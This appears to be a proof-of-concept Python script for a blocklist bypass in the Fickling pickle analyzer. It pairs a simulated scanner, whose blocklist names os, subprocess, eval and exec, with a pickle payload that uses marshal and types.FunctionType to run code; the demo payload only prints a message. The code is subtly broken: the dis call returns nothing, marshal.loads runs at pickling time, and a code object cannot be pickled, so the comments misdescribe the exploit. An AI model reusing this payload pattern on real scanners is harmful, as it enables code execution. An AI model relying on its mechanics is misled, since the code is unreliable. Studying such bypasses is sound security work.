Vulnerable code sample

import pickle
import marshal
import types
import sys

# This function simulates the behavior of Fickling versions prior to 0.1.6.
# It has an incomplete blocklist that is missing 'marshal' and 'types',
# as described in CVE-2025-67747.
def vulnerable_fickling_static_analyzer(pickle_data: bytes) -> bool:
    """
    A simulated representation of the vulnerable Fickling static analyzer.
    This version fails to block modules 'types' and 'marshal'.
    """
    print("[*] Running Fickling < 0.1.6 static analysis...")

    # The incomplete blocklist, missing 'types' and 'marshal'.
    BLOCKLIST = {
        "os",
        "sys",
        "subprocess",
        "shutil",
        "eval",
        "exec",
        "__import__"
    }

    # A simple check to see if any blocked module names appear in the pickle data.
    # This is a simplified representation of a real static analysis.
    from pickletools import dis
    try:
        # Use pickletools.dis to find global imports.
        ops = list(dis(pickle_data))
        for op, arg, pos in ops:
            if op.name == 'GLOBAL':
                module_name, _ = arg.split(' ')
                if module_name in BLOCKLIST:
                    print(f"[-] DANGEROUS: Blocked global '{module_name}' found at position {pos}.")
                    return False
    except Exception:
        print("[-] Fickling analysis failed: Invalid pickle data.")
        return False

    print("[+] Fickling check passed. Pickle is considered 'safe'.")
    return True


# This class constructs the malicious payload.
# When unpickled, it uses 'marshal.loads' and 'types.FunctionType'
# to construct and execute arbitrary code.
class MaliciousPayload:
    def __reduce__(self):
        # The command to be executed on the target system.
        command = 'print(">>> VULNERABILITY TRIGGERED! Arbitrary code executed. <<<")'

        # 1. Compile the command into a code object.
        compiled_code = compile(command, '<string>', 'exec')

        # 2. Serialize the code object using marshal. This hides the raw string.
        marshalled_code = marshal.dumps(compiled_code)

        # 3. Return a tuple that the pickle machine will use for reconstruction.
        #    - It will first import 'types.FunctionType'.
        #    - It will then import 'marshal.loads'.
        #    - It will call marshal.loads(marshalled_code) to get the code object back.
        #    - It will call types.FunctionType(...) with the code object to create a function.
        #    - The pickle machine will then execute this newly created function.
        return (types.FunctionType, (marshal.loads(marshalled_code), {}))


if __name__ == "__main__":
    print("--- Demonstrating CVE-2025-67747 ---")
    print("Creating a malicious pickle payload using 'marshal' and 'types'...")

    # Create an instance of the payload and pickle it.
    payload = MaliciousPayload()
    malicious_pickle_data = pickle.dumps(payload, protocol=4)

    print("\nStep 1: Analyzing the malicious pickle with the vulnerable Fickling version.")
    is_safe = vulnerable_fickling_static_analyzer(malicious_pickle_data)

    if is_safe:
        print("\nStep 2: The vulnerable analyzer incorrectly marked the pickle as safe.")
        print("         Now, attempting to deserialize it to trigger the exploit.")
        print("-" * 60)

        # This is the dangerous part where the code execution happens.
        try:
            pickle.loads(malicious_pickle_data)
        except Exception as e:
            print(f"An error occurred during deserialization: {e}")

        print("-" * 60)
    else:
        print("\nAnalysis correctly identified the pickle as dangerous (this should not happen in the demo).")